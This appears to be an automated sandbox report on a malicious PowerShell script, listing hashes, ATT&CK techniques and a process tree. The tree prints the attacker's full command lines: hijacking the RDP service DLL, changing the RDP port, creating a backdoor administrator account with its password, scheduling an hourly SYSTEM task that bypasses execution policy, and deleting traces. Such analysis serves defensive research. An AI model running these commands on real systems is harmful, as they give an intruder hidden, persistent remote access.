dd3edd0a584fff1f7eadd86f868eeda95f05138caf70c5ba8d807af2f8390887

General

Target

$TEMP/TWUCSTRVZCTWUCSTRVZCTWUCSTRVZC.ps1
Size

3.5MB
MD5

67e1452131ae07c4b67762d3c302f52b
SHA1

d6329ac864341d9dd86ff9032df8912ec8c44c8b
SHA256

6416923da618a13311012632be2aa383a711c84ee182670e663e4bd8c6464950
SHA512

013ee8398189be291970c431be6cab9597e9c3650be44c8842bafeb90e2ac84dc720daf82f24bf67bab4564272fcb34db76b352923697095f9e4b9ed2a553280
SSDEEP

49152:RIUxx1Km3fApVfWdmS+KyU053ZBqoBcTq:Y

Score

9^/10

discovery execution exploit persistence upx

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001
Possible privilege escalation attempt 8 IoCs
exploit

Processes:

icacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

2588 icacls.exe
2692 icacls.exe
2732 icacls.exe
2604 takeown.exe
2716 icacls.exe
2756 icacls.exe
2512 icacls.exe
2888 icacls.exe

pid	process
2588	icacls.exe
2692	icacls.exe
2732	icacls.exe
2604	takeown.exe
2716	icacls.exe
2756	icacls.exe
2512	icacls.exe
2888	icacls.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDLL = "%SystemRoot%\\help\\tmp5211.dat"	reg.exe

Loads dropped DLL 2 IoCs

Processes:

pid process

588
588
Modifies file permissions 1 TTPs 8 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

takeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

2604 takeown.exe
2716 icacls.exe
2756 icacls.exe
2512 icacls.exe
2888 icacls.exe
2588 icacls.exe
2692 icacls.exe
2732 icacls.exe

pid	process
588
588

pid	process
2604	takeown.exe
2716	icacls.exe
2756	icacls.exe
2512	icacls.exe
2888	icacls.exe
2588	icacls.exe
2692	icacls.exe
2732	icacls.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Windows\Help\tmp5212.dat	upx

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\system32\rfxvmt.dll powershell.exe

description	ioc	process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 3 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Windows\help\tmp5211.dat	powershell.exe
File created	C:\Windows\help\tmp5212.dat	powershell.exe
File created	C:\Windows\help\tmp5213.dat	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1760 powershell.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

608 schtasks.exe
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2420 reg.exe
Runs net.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exe

pid process

1760 powershell.exe
1760 powershell.exe
1760 powershell.exe
1760 powershell.exe
Suspicious behavior: LoadsDriver 5 IoCs

Processes:

pid process

588
588
588
588
588
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeicacls.exe

description pid process

Token: SeDebugPrivilege 1760 powershell.exe
Token: SeRestorePrivilege 2512 icacls.exe

pid	process
1760	powershell.exe

pid	process
608	schtasks.exe

pid	process
2420	reg.exe

pid	process
1760	powershell.exe
1760	powershell.exe
1760	powershell.exe
1760	powershell.exe

pid	process
588
588
588
588
588

description	pid	process
Token: SeDebugPrivilege	1760	powershell.exe
Token: SeRestorePrivilege	2512	icacls.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

powershell.exenet.execmd.exenet.execmd.exenet.execmd.exenet.execmd.exenet.exe

description	pid	process	target process
PID 1760 wrote to memory of 2604	1760	powershell.exe	takeown.exe
PID 1760 wrote to memory of 2604	1760	powershell.exe	takeown.exe
PID 1760 wrote to memory of 2604	1760	powershell.exe	takeown.exe
PID 1760 wrote to memory of 2716	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2716	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2716	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2512	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2512	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2512	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2756	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2756	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2756	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2888	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2888	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2888	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2692	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2692	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2692	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2588	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2588	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2588	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2732	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2732	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2732	1760	powershell.exe	icacls.exe
PID 1760 wrote to memory of 2424	1760	powershell.exe	reg.exe
PID 1760 wrote to memory of 2424	1760	powershell.exe	reg.exe
PID 1760 wrote to memory of 2424	1760	powershell.exe	reg.exe
PID 1760 wrote to memory of 2420	1760	powershell.exe	reg.exe
PID 1760 wrote to memory of 2420	1760	powershell.exe	reg.exe
PID 1760 wrote to memory of 2420	1760	powershell.exe	reg.exe
PID 1760 wrote to memory of 2488	1760	powershell.exe	net.exe
PID 1760 wrote to memory of 2488	1760	powershell.exe	net.exe
PID 1760 wrote to memory of 2488	1760	powershell.exe	net.exe
PID 2488 wrote to memory of 2500	2488	net.exe	net1.exe
PID 2488 wrote to memory of 2500	2488	net.exe	net1.exe
PID 2488 wrote to memory of 2500	2488	net.exe	net1.exe
PID 1760 wrote to memory of 1388	1760	powershell.exe	cmd.exe
PID 1760 wrote to memory of 1388	1760	powershell.exe	cmd.exe
PID 1760 wrote to memory of 1388	1760	powershell.exe	cmd.exe
PID 1760 wrote to memory of 2188	1760	powershell.exe	cmd.exe
PID 1760 wrote to memory of 2188	1760	powershell.exe	cmd.exe
PID 1760 wrote to memory of 2188	1760	powershell.exe	cmd.exe
PID 1804 wrote to memory of 904	1804	cmd.exe	net.exe
PID 1804 wrote to memory of 904	1804	cmd.exe	net.exe
PID 1804 wrote to memory of 904	1804	cmd.exe	net.exe
PID 904 wrote to memory of 1608	904	net.exe	net1.exe
PID 904 wrote to memory of 1608	904	net.exe	net1.exe
PID 904 wrote to memory of 1608	904	net.exe	net1.exe
PID 2712 wrote to memory of 2264	2712	cmd.exe	net.exe
PID 2712 wrote to memory of 2264	2712	cmd.exe	net.exe
PID 2712 wrote to memory of 2264	2712	cmd.exe	net.exe
PID 2264 wrote to memory of 1280	2264	net.exe	net1.exe
PID 2264 wrote to memory of 1280	2264	net.exe	net1.exe
PID 2264 wrote to memory of 1280	2264	net.exe	net1.exe
PID 1520 wrote to memory of 1820	1520	cmd.exe	net.exe
PID 1520 wrote to memory of 1820	1520	cmd.exe	net.exe
PID 1520 wrote to memory of 1820	1520	cmd.exe	net.exe
PID 1820 wrote to memory of 1920	1820	net.exe	net1.exe
PID 1820 wrote to memory of 1920	1820	net.exe	net1.exe
PID 1820 wrote to memory of 1920	1820	net.exe	net1.exe
PID 1792 wrote to memory of 1240	1792	cmd.exe	net.exe
PID 1792 wrote to memory of 1240	1792	cmd.exe	net.exe
PID 1792 wrote to memory of 1240	1792	cmd.exe	net.exe
PID 1240 wrote to memory of 1268	1240	net.exe	net1.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\$TEMP\TWUCSTRVZCTWUCSTRVZCTWUCSTRVZC.ps1
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1760

C:\Windows\system32\takeown.exe
"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2604

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2716

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
2⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2512

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2756

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2888

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2692

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2588

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2732

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
2⤵
PID:2424

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d %SystemRoot%\help\tmp5211.dat /f
2⤵
- Sets DLL path for service in the registry
- Modifies registry key
PID:2420

C:\Windows\system32\net.exe
"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
2⤵
- Suspicious use of WriteProcessMemory
PID:2488

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
3⤵
PID:2500

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
2⤵
PID:1388

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
2⤵
PID:2188

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc ErLVgEEI /add
1⤵
- Suspicious use of WriteProcessMemory
PID:1804

C:\Windows\system32\net.exe
net.exe user WgaUtilAcc ErLVgEEI /add
2⤵
- Suspicious use of WriteProcessMemory
PID:904

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user WgaUtilAcc ErLVgEEI /add
3⤵
PID:1608

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2712

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
2⤵
- Suspicious use of WriteProcessMemory
PID:2264

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
3⤵
PID:1280

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" KXIPPCKF$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1520

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Remote Desktop Users" KXIPPCKF$ /ADD
2⤵
- Suspicious use of WriteProcessMemory
PID:1820

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" KXIPPCKF$ /ADD
3⤵
PID:1920

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1792

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
2⤵
- Suspicious use of WriteProcessMemory
PID:1240

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
3⤵
PID:1268

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc ErLVgEEI
1⤵
PID:2120

C:\Windows\system32\net.exe
net.exe user WgaUtilAcc ErLVgEEI
2⤵
PID:1480

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user WgaUtilAcc ErLVgEEI
3⤵
PID:1104

C:\Windows\System32\cmd.exe
cmd /C schtasks /create /tn 15369 /tr "powershell -nop -ep bypass -f c:\windows\help\51447.ps1" /ru system /sc hourly /mo 1
1⤵
PID:2180

C:\Windows\system32\schtasks.exe
schtasks /create /tn 15369 /tr "powershell -nop -ep bypass -f c:\windows\help\51447.ps1" /ru system /sc hourly /mo 1
2⤵
- Creates scheduled task(s)
PID:608

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

Scheduled Task/Job

Persistence

Account Manipulation

1

T1098

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Defense Evasion

Modify Registry

2

T1112

File and Directory Permissions Modification

1

T1222

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Remote Services

1

T1021

Remote Desktop Protocol

1

T1021.001

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system32\rfxvmt.dll
Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\samr
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Windows\Help\tmp5211.dat
Filesize
120KB

MD5
9a5f1af394cdad5ca5000dc87b664017

SHA1
97ccaa9535d3f2a0ed259e91b3bb4e7417d50863

SHA256
e004b95ba76b4fad388fad96714bf95cd6f2ce8fa3b262d63bf25749dbea8b10

SHA512
cc48689ef61b5474291f5a6ac298d30a696950acfffe8208d8965ba7e85cce96b575ebdf0b59d0b764bb35b05404c9a74434eb9b24cd244125a194a02f5dd67a

Download Submit
\Windows\Help\tmp5212.dat
Filesize
783KB

MD5
9790f9fecc9bf0b6cac0dd2ea51214b8

SHA1
257b5af37b30ee374ada8e1a7a4259c5a87503bc

SHA256
40c7851445ab77275378d31090f155d856982b0d98c5c2990fbd1b708a371d30

SHA512
c8ef15aaabea3a2abfefa3a2bee0d349740009d9f3fcd0ffe145f2004f63dfedaff177c279bba4101f2e9d86944f6b4a371bbc080fa718a28e42be7578bd3bc6

Download Submit
memory/1760-6-0x000000001B1E0000-0x000000001B4C2000-memory.dmp

Filesize
2.9MB

Download
memory/1760-9-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

Filesize
9.6MB

Download
memory/1760-10-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

Filesize
9.6MB

Download
memory/1760-11-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

Filesize
9.6MB

Download
memory/1760-8-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

Filesize
9.6MB

Download
memory/1760-4-0x000007FEF561E000-0x000007FEF561F000-memory.dmp

Filesize
4KB

Download
memory/1760-7-0x0000000002550000-0x0000000002558000-memory.dmp

Filesize
32KB

Download
memory/1760-5-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

Filesize
9.6MB

Download
memory/1760-20-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads